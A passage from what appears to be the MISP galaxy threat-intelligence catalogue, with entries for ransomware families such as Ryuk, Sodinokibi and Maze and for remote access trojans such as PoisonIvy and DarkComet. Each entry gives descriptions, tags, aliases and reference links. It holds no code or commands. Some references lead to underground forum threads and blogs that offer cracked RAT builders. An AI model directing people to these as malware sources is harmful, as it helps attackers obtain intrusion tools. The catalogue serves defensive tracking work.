https://twitter.com/GrujaRS/status/1072468548977680385

Djvu

The tag is: misp-galaxy:ransomware="Djvu"

Table 4081. Table References
Links
https://twitter.com/demonslay335/status/1072907748155842565

Ryuk ransomware

Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors. However, Ryuk is only used by GRIM SPIDER and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk’s appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD.

The tag is: misp-galaxy:ransomware="Ryuk ransomware"

Table 4082. Table References
Links
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf

BitPaymer

In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.’s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy.

The tag is: misp-galaxy:ransomware="BitPaymer"

BitPaymer is also known as:

FriedEx
IEncrypt

Table 4083. Table References
Links
https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/

LockerGoga

The tag is: misp-galaxy:ransomware="LockerGoga"

LockerGoga has relationships with:

similar: misp-galaxy:ransomware="Nodera Ransomware" with estimative-language:likelihood-probability="roughly-even-chance"

Table 4084. Table References
Links
https://www.bleepingcomputer.com/news/security/new-lockergoga-ransomware-allegedly-used-in-altran-attack/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf

Princess Evolution

We have been observing a malvertising campaign via Rig exploit kit delivering a cryptocurrency-mining malware and the GandCrab ransomware since July 25. On August 1, we found Rig’s traffic stream dropping a then-unknown ransomware. Delving into this seemingly new ransomware, we checked its ransom payment page in the Tor network and saw it was called Princess Evolution (detected by Trend Micro as RANSOM_PRINCESSLOCKER.B), and was actually a new version of the Princess Locker ransomware that emerged in 2016. Based on its recent advertisement in underground forums, it appears that its operators are peddling Princess Evolution as a ransomware as a service (RaaS) and are looking for affiliates. The new malvertising campaign we observed since July 25 is notable in that the malvertisements included Coinhive (COINMINER_MALXMR.TIDBF). Even if users aren’t diverted to the exploit kit and infected with the ransomware, the cybercriminals can still earn illicit profit through cryptocurrency mining. Another characteristic of this new campaign is that they hosted their malvertisement page on a free web hosting service and used domain name system canonical name (DNS CNAME) to map their advertisement domain on a malicious webpage on the service.

The tag is: misp-galaxy:ransomware="Princess Evolution"

Table 4085. Table References
Links
https://blog.trendmicro.com/trendlabs-security-intelligence/ransomware-as-a-service-princess-evolution-looking-for-affiliates/

Jokeroo

A new Ransomware-as-a-Service called Jokeroo is being promoted on underground hacking sites and via Twitter that allows affiliates to allegedly gain access to a fully functional ransomware and payment server. According to a malware researcher named Damian, the Jokeroo RaaS first started promoting itself as a GandCrab Ransomware RaaS on the underground hacking forum Exploit.in.

The tag is: misp-galaxy:ransomware="Jokeroo"

Jokeroo is also known as:

Fake GandCrab

Table 4086. Table References
Links
https://www.bleepingcomputer.com/news/security/jokeroo-ransomware-as-a-service-offers-multiple-membership-packages/

GlobeImposter

During December 2017, a new variant of the GlobeImposter Ransomware was detected for the first time and reported on malware-traffic-analysis. At first sight this ransomware looks very similar to other ransomware samples and uses common techniques such as process hollowing. However, deeper inspection showed that like LockPoS, which was analyzed by CyberBit, GlobeImposter too bypasses user-mode hooks by directly invoking system calls. Given this evasion technique is being leveraged by new malware samples may indicate that this is a beginning of a trend aiming to bypass user-mode security products.

The tag is: misp-galaxy:ransomware="GlobeImposter"

Table 4087. Table References
Links
https://www.fortinet.com/blog/threat-research/analysis-of-new-globeimposter-ransomware-variant.html

BlackWorm

BlackWorm Ransomware is a malicious computer infection that encrypts your files, and then does everything it can to prevent you from restoring them. It needs you to pay $200 for the decryption key, but there is no guarantee that the people behind this infection would really issue the decryption tool for you.

The tag is: misp-galaxy:ransomware="BlackWorm"

Table 4088. Table References
Links
https://spyware-techie.com/blackworm-ransomware-removal-guide

Tellyouthepass

Tellyouthepass is a ransomware that alters system files, registry entries and encodes personal photos, documents, and servers or archives. Army-grade encryption algorithms get used to change the original code of the file and make the data useless.

The tag is: misp-galaxy:ransomware="Tellyouthepass"

Table 4089. Table References
Links
https://malware.wikia.org/wiki/Tellyouthepass

BigBobRoss

BigBobRoss ransomware is the cryptovirus that requires a ransom in Bitcoin to return encrypted files marked with .obfuscated appendix.

The tag is: misp-galaxy:ransomware="BigBobRoss"

Table 4090. Table References
Links
https://www.2-spyware.com/remove-bigbobross-ransomware.html

Planetary

First discovered by malware security analyst, Lawrence Abrams, PLANETARY is an updated variant of another high-risk ransomware called HC7.

The tag is: misp-galaxy:ransomware="Planetary"

Table 4091. Table References
Links
https://www.pcrisk.com/removal-guides/12121-planetary-ransomware

Cr1ptT0r

Cr1ptT0r Ransomware Targets NAS Devices with Old Firmware.

The tag is: misp-galaxy:ransomware="Cr1ptT0r"

Cr1ptT0r is also known as:

Criptt0r
Cr1pt0r
Cripttor

Table 4092. Table References
Links
https://www.coveware.com/blog/2019/3/13/cr1ptt0r-ransomware-targets-nas-devices-with-old-firmware
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cr1ptt0r

Sodinokibi

Attackers are actively exploiting a recently disclosed vulnerability in Oracle WebLogic to install a new variant of ransomware called "Sodinokibi." Sodinokibi attempts to encrypt data in a user’s directory and delete shadow copy backups to make data recovery more difficult. Oracle first patched the issue on April 26, outside of their normal patch cycle, and assigned it CVE-2019-2725. This vulnerability is easy for attackers to exploit, as anyone with HTTP access to the WebLogic server could carry out an attack. Because of this, the bug has a CVSS score of 9.8/10. Attackers have been making use of this exploit in the wild since at least April 17. Cisco’s Incident Response (IR) team, along with Cisco Talos, are actively investigating these attacks and Sodinokibi.

The tag is: misp-galaxy:ransomware="Sodinokibi"

Sodinokibi is also known as:

REvil
Revil

Table 4093. Table References
Links
https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html

Phobos

Phobos exploits open or poorly secured RDP ports to sneak inside networks and execute a ransomware attack, encrypting files and demanding a ransom be paid in bitcoin for returning the files, which in this case are locked with a .phobos extension.

The tag is: misp-galaxy:ransomware="Phobos"

Table 4094. Table References
Links
https://www.zdnet.com/article/new-phobos-ransomware-exploits-weak-security-to-hit-targets-around-the-world/

GetCrypt

A new ransomware is in the dark market which encrypts all the files on the device and redirects victims to the RIG exploit kit.

The tag is: misp-galaxy:ransomware="GetCrypt"

Table 4095. Table References
Links
https://www.ehackingnews.com/2019/05/getcrypt-ransomware-modus-operandi-and.html

Nemty

A new ransomware family dubbed “Nemty” for the extension it adds to encrypted files has recently surfaced in the wild. According to a report from Bleeping Computer, New York-based reverse engineer Vitali Kremez posits that Nemty is possibly delivered through exposed remote desktop connections.

The tag is: misp-galaxy:ransomware="Nemty"

Table 4096. Table References
Links
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/nemty-ransomware-possibly-spreads-through-exposed-remote-desktop-connections

Buran

Buran is a new version of the Vega ransomware strain (a.k.a. Jamper, Ghost, Buhtrap) that attacked accountants from February through April 2019. The new Buran ransomware first was discovered by nao_sec in June 2019, delivered by the RIG Exploit Kit, as reported by BleepingComputer.

The tag is: misp-galaxy:ransomware="Buran"

Table 4097. Table References
Links
https://www.acronis.com/en-us/blog/posts/meet-buran-new-delphi-ransomware-delivered-rig-exploit-kit

Hildacrypt

The Hildacrypt ransomware encrypts the victim’s files with a strong encryption algorithm and the filename extension .hilda until the victim pays a fee to get them back.

The tag is: misp-galaxy:ransomware="Hildacrypt"

Table 4098. Table References
Links
https://securitynews.sonicwall.com/xmlpost/hildacrypt-ransomware-actively-spreading-in-the-wild/

Mr.Dec

Mr. Dec ransomware is cryptovirus that was first spotted in mid-May 2018, and since then was updated multiple times. The ransomware encrypts all personal data on the device with the help of AES encryption algorithm and appends .[ID]random 16 characters[ID] file extension, preventing from their further usage.

The tag is: misp-galaxy:ransomware="Mr.Dec"

Mr.Dec is also known as:

MrDec
Sherminator

Table 4099. Table References
Links
https://www.2-spyware.com/remove-mr-dec-ransomware.html
https://id-ransomware.blogspot.com/2018/05/mrdec-ransomware.html

Freeme

Freezing crypto ransomware encrypts user data using AES, and then requires a ransom in # BTC to return the files. Original title: not indicated in the note. The file says: FreeMe.exe

The tag is: misp-galaxy:ransomware="Freeme"

Freeme is also known as:

Freezing

Table 4100. Table References
Links
http://id-ransomware.blogspot.com/2019/06/freeme-freezing-ransomware.html

DoppelPaymer

We have dubbed this new ransomware DoppelPaymer because it shares most of its code with the BitPaymer ransomware operated by INDRIK SPIDER. However, there are a number of differences between DoppelPaymer and BitPaymer, which may signify that one or more members of INDRIK SPIDER have split from the group and forked the source code of both Dridex and BitPaymer to start their own Big Game Hunting ransomware operation.

The tag is: misp-galaxy:ransomware="DoppelPaymer"

Table 4101. Table References
Links
https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/
https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer

Desync

This crypto ransomware encrypts enterprise LAN data with AES (ECB mode), and then requires a ransom in # BTC to return the files.

The tag is: misp-galaxy:ransomware="Desync"

Table 4102. Table References
Links
https://id-ransomware.blogspot.com/2019/01/unnamed-desync-ransomware.html

Maze

Maze Ransomware encrypts files and makes them inaccessible while adding a custom extension containing part of the ID of the victim. The ransom note is placed inside a text file and an htm file. There are a few different extensions appended to files which are randomly generated.

The tag is: misp-galaxy:ransomware="Maze"

Table 4103. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.maze
https://www.bleepingcomputer.com/news/security/maze-ransomware-now-delivered-by-spelevo-exploit-kit/
https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us

Cyborg Ransomware

Ransomware delivered using fake Windows Update spam

The tag is: misp-galaxy:ransomware="Cyborg Ransomware"

Table 4104. Table References
Links
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/fake-windows-update-spam-leads-to-cyborg-ransomware-and-its-builder/

FTCode

A targeted email campaign has been spotted distributing the JasperLoader to victims. While the JasperLoader was originally used to then install Gootkit, Certego has observed it now being used to infect victims with a new ransomware dubbed FTCODE. Using an invoice-themed email appearing to target Italian users, the attackers attempt to convince users to allow macros in a Word document. The macro is used to run PowerShell to retrieve additional PowerShell code.

The tag is: misp-galaxy:ransomware="FTCode"

Table 4105. Table References
Links
https://www.certego.net/en/news/malware-tales-ftcode/
https://exchange.xforce.ibmcloud.com/collection/FTCODE-Ransomware-45dacdc2d5cf30722ced20b9d37988c2
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ftcode

Clop

Observed for the first time in Febuary 2019, variant from CryptoMix Family, itself a variation from CryptXXX and CryptoWall family

The tag is: misp-galaxy:ransomware="Clop"

Table 4106. Table References
Links
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf

PornBlackmailer

A new infection is being distributed by porn sites that tries to blackmail a victim into paying a ransom by stating they will tell law enforcement that the victim is spreading child porn. This is done by collecting information about the user, including screen shots of their active desktop, in order to catch them in compromising situations.

The tag is: misp-galaxy:ransomware="PornBlackmailer"

Table 4107. Table References
Links
https://www.bleepingcomputer.com/news/security/blackmailware-found-on-porn-site-threatens-to-report-users-are-spreading-child-porn/

KingOuroboros

This crypto-extortioner encrypts user data using AES, and then requires a $ 30- $ 50- $ 80 buy- back to BTC to return the files. The name is original. Written on AutoIt.

The tag is: misp-galaxy:ransomware="KingOuroboros"

Table 4108. Table References
Links
https://id-ransomware.blogspot.com/2018/06/kingouroboros-ransomware.html

MAFIA Ransomware

The ransomware appears to target users in Korea, and may have been developed with at least knowledge of the Korean language.

The tag is: misp-galaxy:ransomware="MAFIA Ransomware"

MAFIA Ransomware is also known as:

Mafia

Table 4109. Table References
Links
https://bartblaze.blogspot.com/2018/08/mafia-ransomware-targeting-users-in.html

5ss5c Ransomware

The cybercrime group that brought us Satan, DBGer and Lucky ransomware and perhaps Iron ransomware, has now come up with a new version or rebranding named 5ss5c. […] It will however only encrypt files with the following extensions: 7z, bak, cer, csv, db, dbf, dmp, docx, eps, ldf, mdb, mdf, myd, myi, ora, pdf, pem, pfx, ppt, pptx, psd, rar, rtf, sql, tar, txt, vdi, vmdk, vmx, xls, xlsx, zip

The tag is: misp-galaxy:ransomware="5ss5c Ransomware"

Table 4110. Table References
Links
https://bartblaze.blogspot.com/2020/01/satan-ransomware-rebrands-as-5ss5c.html

Nodera Ransomware

Nodera is a ransomware family that uses the Node.js framework and was discovered by Quick Heal researchers. The infection chain starts with a VBS script embedded with multiple JavaScript files. Upon execution, a directory is created and both the main node.exe program and several required NodeJS files are downloaded into the directory. Additionally, a malicious JavaScript payload that performs the encryption process is saved in this directory. After checking that it has admin privileges and setting applicable variables, the malicious JavaScript file enumerates the drives to create a list of targets. Processes associated with common user file types are stopped and volume shadow copies are deleted. Finally, all user-specific files on the C: drive and all files on other drives are encrypted and are appended with a .encrypted extension. The ransom note containing instructions on paying the Bitcoin ransom are provided along with a batch script to be used for decryption after obtaining the private key. Some mistakes in the ransom note identified by the researchers include the fact that it mentions a 2048-bit RSA public key instead of 4096-bit (the size that was actually used), a hard-coded private key destruction time dating back almost 2 years ago, and a lack of instructions for how the private key will be obtained after the ransom is paid. These are signs that the ransomware may be in the development phase and was likely written by an amateur. For more information, see the QuickHeal blog post in the Reference section below.

The tag is: misp-galaxy:ransomware="Nodera Ransomware"

Nodera Ransomware is also known as:

Nodera

Table 4111. Table References
Links
https://exchange.xforce.ibmcloud.com/collection/6f18908ce6d9cf4efb551911e00d9ec4
https://blogs.quickheal.com/first-node-js-based-ransomware-nodera/

MegaCortex

Discovered in May 2019. dropped throught networks compromised by trojan like Emotet or TrickBot. Tools and methods used are similar to LockerGoga

The tag is: misp-galaxy:ransomware="MegaCortex"

MegaCortex has relationships with:

similar: misp-galaxy:ransomware="LockerGoga" with estimative-language:likelihood-probability="roughly-even-chance"

Table 4112. Table References
Links
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf

RobinHood

Detected in April 2019. Known for paralyzing the cities of Baltimore and Greenville. Probably also exfiltrate data

The tag is: misp-galaxy:ransomware="RobinHood"

Table 4113. Table References
Links
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf

Bart ransomware

Bart ransomware is distributed by the same Russian Cyber Mafia behind Dridex 220 and Locky. Bart doesn’t communicate with a command and control (C&C) server, so it can encrypt files without being connected to a computer. Bart is spread to end users via phishing emails containing .zip attachments with JavaScript Code and use social engineering to trick users into opening the 'photo' attachments. The zipped files are obfuscated to make it more hard to tell what actions they are performing. See screenshot above for an example of what they look like. If opened, these attachments download and install the intermediary loader RockLoader which downloads Bart onto the machine over HTTPS. Once executed, it will first check the language on the infected computer. If the malware detects Russian, Belorussian, or Ukrainian, the ransomware will terminate and will not proceed with the infection. If it’s any other language, it will start scanning the computer for certain file extensions to encrypt. Because Bart does not require communication with C&C infrastructure prior to encrypting files, Bart could possibly encrypt machines sitting behind corporate firewalls that would otherwise block such traffic. Thus, organizations need to ensure that Bart is blocked at the email gateway using rules that block zipped executables.

The tag is: misp-galaxy:ransomware="Bart ransomware"

Bart ransomware is also known as:

Locky Bart

Table 4114. Table References
Links
https://www.knowbe4.com/bart-ransomware

Razor

Razor was discovered by dnwls0719, it is a part of Garrantydecrypt ransomware family. Like many other programs of this type, Razor is designed to encrypt files (make them unusable/inaccessible), change their filenames, create a ransom note and change victim’s desktop wallpaper. Razor renames files by appending the ".razor" extension to their filenames. For example, it renames "1.jpg" to "1.jpg.razor", and so on. It creates a ransom note which is a text file named "RECOVERY.txt", this file contains instructions on how to contact Razor’s developers (cyber criminals) and other details. As stated in the "RECOVERY.txt" file, this ransomware encrypts all files and information about how to purchase a decryption tool can be received by contacting Razor’s developers. Victims supposed to contact them via razor2020@protonmail.ch, Jabber client (razor2020@jxmpp.jp) or ICQ client (@razor2020) and wait for further instructions. It is very likely that they will name a price of a decryption tool and/or key and provide cryptocurrency wallet’s address that should be used to make a transaction. However, it is never a good idea to trust (pay) any cyber criminals/ransomware developers. It is common that they do not provide decryption tools even after a payment. Another problem is that ransomware-type programs encrypt files with strong encryption algorithms and their developers are the only ones who have tools that can decrypt files encrypted by their ransomware. In most cases victims have the only free and safe option: to restore files from a backup. Also, it is worth mentioning that files remain encrypted even after uninstallation of ransomware, its removal only prevents it from causing further encryptions.

The tag is: misp-galaxy:ransomware="Razor"

Table 4115. Table References
Links
https://www.pcrisk.com/removal-guides/17016-razor-ransomware

Wadhrama

The tag is: misp-galaxy:ransomware="Wadhrama"

Wadhrama has relationships with:

used-by: misp-galaxy:microsoft-activity-group="PARINACOTA" with estimative-language:likelihood-probability="likely"

Table 4116. Table References
Links
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=ransom:win32/wadhrama.c&ThreatID=2147730655

Mespinoza

Mespinoza ransomware is used at least since october 2018. First versions used the common extension ".locked". SInce december 2019 a new version in open sourced and documented, this new version uses the ".pyza" extension.

The tag is: misp-galaxy:ransomware="Mespinoza"

Mespinoza is also known as:

Pyza

Table 4117. Table References
Links
https://www.cert.ssi.gouv.fr/cti/CERTFR-2020-CTI-002/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-002.pdf

CoronaVirus

A new ransomware called CoronaVirus has been distributed through a fake web site pretending to promote the system optimization software and utilities from WiseCleaner. With the increasing fears and anxiety of the Coronavirus (COVID-19) outbreak, an attacker has started to build a campaign to distribute a malware cocktail consisting of the CoronaVirus Ransomware and the Kpot information-stealing Trojan. This new ransomware was discovered by MalwareHunterTeam and after further digging into the source of the file, we have been able to determine how the threat actor plans on distributing the ransomware and possible clues suggesting that it may actually be a wiper.

The tag is: misp-galaxy:ransomware="CoronaVirus"

Table 4118. Table References
Links
https://www.bleepingcomputer.com/news/security/new-coronavirus-ransomware-acts-as-cover-for-kpot-infostealer/

Snake Ransomware

Snake ransomware first attracted the attention of malware analysts in January 2020 when they observed the crypto-malware family targeting entire corporate networks. Shortly after this discovery, the threat quieted down. It produced few new detected infections in the wild for the next few months. That was until May 4, when ID Ransomware registered a sudden spike in submissions for the ransomware.

The tag is: misp-galaxy:ransomware="Snake Ransomware"

Table 4119. Table References
Links
https://www.cybersecurity-insiders.com/meet-the-snake-ransomware-which-encrypts-all-connected-devices/
https://www.tripwire.com/state-of-security/security-data-protection/massive-spike-in-snake-ransomware-activity-attributed-to-new-campaign/
https://www.bleepingcomputer.com/news/security/large-scale-snake-ransomware-campaign-targets-healthcare-more/

RAT

remote administration tool or remote access tool (RAT), also called sometimes remote access trojan, is a piece of software or programming that allows a remote "operator" to control a system as if they have physical access to that system..

RAT is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: Various - raw-data

TeamViewer

TeamViewer is a proprietary computer software package for remote control, desktop sharing, online meetings, web conferencing and file transfer between computers.

The tag is: misp-galaxy:rat="TeamViewer"

Table 4120. Table References
Links
https://www.teamviewer.com

JadeRAT

JadeRAT is just one example of numerous mobile surveillanceware families we’ve seen in recent months, indicating that actors are continuing to incorporate mobile tools in their attack chains. Threat actor, using a tool called JadeRAT, targets the mobile phones of ethnic minorities in China, notably Uighurs, for the purpose of espionage.

The tag is: misp-galaxy:rat="JadeRAT"

JadeRAT has relationships with:

similar: misp-galaxy:malpedia="JadeRAT" with estimative-language:likelihood-probability="likely"

Table 4121. Table References
Links
https://blog.lookout.com/mobile-threat-jaderat
https://www.cfr.org/interactive/cyber-operations/jaderat

Back Orifice

Back Orifice (often shortened to BO) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location.

The tag is: misp-galaxy:rat="Back Orifice"

Back Orifice is also known as:

Table 4122. Table References
Links
http://www.cultdeadcow.com/tools/bo.html
http://www.symantec.com/avcenter/warn/backorifice.html

Netbus

NetBus or Netbus is a software program for remotely controlling a Microsoft Windows computer system over a network. It was created in 1998 and has been very controversial for its potential of being used as a backdoor.

The tag is: misp-galaxy:rat="Netbus"

Netbus is also known as:

NetBus

Table 4123. Table References
Links
http://www.symantec.com/avcenter/warn/backorifice.html
https://www.f-secure.com/v-descs/netbus.shtml

PoisonIvy

Poison Ivy is a RAT which was freely available and first released in 2005.

The tag is: misp-galaxy:rat="PoisonIvy"

PoisonIvy is also known as:

Poison Ivy
Backdoor.Win32.PoisonIvy
Gen:Trojan.Heur.PT

PoisonIvy has relationships with:

similar: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
used-by: misp-galaxy:threat-actor="Anchor Panda" with estimative-language:likelihood-probability="likely"

Table 4124. Table References
Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf
https://www.f-secure.com/v-descs/backdoor_w32_poisonivy.shtml

Sub7

Sub7, or SubSeven or Sub7Server, is a Trojan horse program.[1] Its name was derived by spelling NetBus backwards ("suBteN") and swapping "ten" with "seven". Sub7 was created by Mobman. Mobman has not maintained or updated the software since 2004, however an author known as Read101 has carried on the Sub7 legacy.

The tag is: misp-galaxy:rat="Sub7"

Sub7 is also known as:

SubSeven
Sub7Server

Table 4125. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2001-020114-5445-99

Beast Trojan

Beast is a Windows-based backdoor trojan horse, more commonly known in the hacking community as a Remote Administration Tool or a "RAT". It is capable of infecting versions of Windows from 95 to 10.

The tag is: misp-galaxy:rat="Beast Trojan"

Table 4126. Table References
Links
https://en.wikipedia.org/wiki/Beast_(Trojan_horse)

Bifrost

Bifrost is a discontinued backdoor trojan horse family of more than 10 variants which can infect Windows 95 through Windows 10 (although on modern Windows systems, after Windows XP, its functionality is limited). Bifrost uses the typical server, server builder, and client backdoor program configuration to allow a remote attacker, who uses the client, to execute arbitrary code on the compromised machine (which runs the server whose behavior can be controlled by the server editor).

The tag is: misp-galaxy:rat="Bifrost"

Table 4127. Table References
Links
https://www.revolvy.com/main/index.php?s=Bifrost%20(trojan%20horse)&item_type=topic
http://malware-info.blogspot.lu/2008/10/bifrost-trojan.html

Blackshades

Blackshades is the name of a malicious trojan horse used by hackers to control computers remotely. The malware targets computers using Microsoft Windows -based operating systems.[2] According to US officials, over 500,000 computer systems have been infected worldwide with the software.

The tag is: misp-galaxy:rat="Blackshades"

Blackshades has relationships with:

similar: misp-galaxy:tool="Blackshades" with estimative-language:likelihood-probability="likely"

Table 4128. Table References
Links
https://krebsonsecurity.com/2014/05/blackshades-trojan-users-had-it-coming/

DarkComet

DarkComet is a Remote Administration Tool (RAT) which was developed by Jean-Pierre Lesueur (known as DarkCoderSc), an independent programmer and computer security coder from the United Kingdom. Although the RAT was developed back in 2008, it began to proliferate at the start of 2012.

The tag is: misp-galaxy:rat="DarkComet"

DarkComet is also known as:

Dark Comet

DarkComet has relationships with:

similar: misp-galaxy:tool="Dark Comet" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="DarkComet" with estimative-language:likelihood-probability="likely"

Table 4129. Table References
Links
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/
https://blogs.cisco.com/security/talos/darkkomet-rat-spam

Lanfiltrator

Backdoor.Lanfiltrator is a backdoor Trojan that gives an attacker unauthorized access to a compromised computer. The detection is used for a family of Trojans that are produced by the Backdoor.Lanfiltrator generator.

The tag is: misp-galaxy:rat="Lanfiltrator"

Table 4130. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2002-121116-0350-99

Win32.HsIdir

The tag is: misp-galaxy:rat="Win32.HsIdir"

Table 4131. Table References
Links
http://lexmarket.su/thread-27692.html
https://www.nulled.to/topic/129749-win32hsidir-rat/

Optix Pro

Optix Pro is a configurable remote access tool or Trojan, similar to SubSeven or BO2K

The tag is: misp-galaxy:rat="Optix Pro"

Table 4132. Table References
Links
https://en.wikipedia.org/wiki/Optix_Pro
https://www.symantec.com/security_response/writeup.jsp?docid=2002-090416-0521-99
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20208

Back Orifice 2000

Back Orifice 2000 (often shortened to BO2k) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location. The name is a pun on Microsoft BackOffice Server software. Back Orifice 2000 is a new version of the famous Back Orifice backdoor trojan (hacker’s remote access tool). It was created by the Cult of Dead Cow hackers group in July 1999. Originally the BO2K was released as a source code and utilities package on a CD-ROM. There are reports that some files on that CD-ROM were infected with CIH virus, so the people who got that CD might get infected and spread not only the compiled backdoor, but also the CIH virus.

The tag is: misp-galaxy:rat="Back Orifice 2000"

Back Orifice 2000 is also known as:

BO2k

Table 4133. Table References
Links
https://en.wikipedia.org/wiki/Back_Orifice_2000
https://home.mcafee.com/VirusInfo/VirusProfile.aspx?key=10229
https://www.symantec.com/security_response/writeup.jsp?docid=2000-121814-5417-99
https://www.f-secure.com/v-descs/bo2k.shtml

RealVNC

The software consists of a server and client application for the Virtual Network Computing (VNC) protocol to control another

The tag is: misp-galaxy:rat="RealVNC"

RealVNC is also known as:

VNC Connect
VNC Viewer

Table 4134. Table References
Links
https://www.realvnc.com/

Adwind RAT

Backdoor:Java/Adwind is a Java archive (.JAR) file that drops a malicious component onto the machines and runs as a backdoor. When active, it is capable of stealing user information and may also be used to distribute other malware.

The tag is: misp-galaxy:rat="Adwind RAT"

Adwind RAT is also known as:

UNRECOM
UNiversal REmote COntrol Multi-Platform
Frutas
AlienSpy
Unrecom
Jsocket
JBifrost

Adwind RAT has relationships with:

similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"

Table 4135. Table References
Links
https://securelist.com/securelist/files/2016/02/KL_AdwindPublicReport_2016.pdf
https://www.f-secure.com/v-descs/backdoor_java_adwind.shtml
https://blog.fortinet.com/2016/08/16/jbifrost-yet-another-incarnation-of-the-adwind-rat
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

Albertino Advanced RAT

The tag is: misp-galaxy:rat="Albertino Advanced RAT"

Table 4136. Table References
Links
https://www.virustotal.com/en/file/b31812e5b4c63c5b52c9b23e76a5ea9439465ab366a9291c6074bfae5c328e73/analysis/1359376345/

Arcom

The malware is a Remote Access Trojan (RAT), known as Arcom RAT, and it is sold on underground forums for $2000.00.

The tag is: misp-galaxy:rat="Arcom"

Table 4137. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-112912-5237-99
http://blog.trendmicro.com/trendlabs-security-intelligence/tsunami-warning-leads-to-arcom-rat/

BlackNix

BlackNix rat is a rat coded in delphi.

The tag is: misp-galaxy:rat="BlackNix"

Table 4138. Table References
Links
https://leakforums.net/thread-18123?tid=18123&&pq=1

Blue Banana

Blue Banana is a RAT (Remote Administration Tool) created purely in Java

The tag is: misp-galaxy:rat="Blue Banana"

Table 4139. Table References
Links
https://leakforums.net/thread-123872
https://techanarchy.net/2014/02/blue-banana-rat-config/

Bozok

Bozok, like many other popular RATs, is freely available. The author of the Bozok RAT goes by the moniker “Slayer616” and has created another RAT known as Schwarze Sonne, or “SS-RAT” for short. Both of these RATs are free and easy to find — various APT actors have used both in previous targeted attacks.

The tag is: misp-galaxy:rat="Bozok"

Bozok has relationships with:

similar: misp-galaxy:malpedia="Bozok" with estimative-language:likelihood-probability="likely"

Table 4140. Table References
Links
https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html

ClientMesh

ClientMesh is a Remote Administration Application yhich allows a user to control a number of client PCs from around the world.

The tag is: misp-galaxy:rat="ClientMesh"

Table 4141. Table References
Links
https://sinister.ly/Thread-ClientMesh-RAT-In-Built-FUD-Crypter-Stable-DDoSer-No-PortForwading-40-Lifetime
https://blog.yakuza112.org/2012/clientmesh-rat-v5-cracked-clean/

CyberGate

CyberGate is a powerful, fully configurable and stable Remote Administration Tool coded in Delphi that is continuously getting developed. Using cybergate you can log the victim’s passwords and can also get the screen shots of his computer’s screen.

The tag is: misp-galaxy:rat="CyberGate"

CyberGate has relationships with:

similar: misp-galaxy:malpedia="CyberGate" with estimative-language:likelihood-probability="likely"

Table 4142. Table References
Links
http://www.hackersthirst.com/2011/03/cybergate-rat-hacking-facebook-twitter.html
http://www.nbcnews.com/id/41584097/ns/technology_and_science-security/t/cybergate-leaked-e-mails-hint-corporate-hacking-conspiracy/

Dark DDoSeR

The tag is: misp-galaxy:rat="Dark DDoSeR"

Table 4143. Table References
Links
http://meinblogzumtesten.blogspot.lu/2013/05/dark-ddoser-v56c-cracked.html

DarkRat

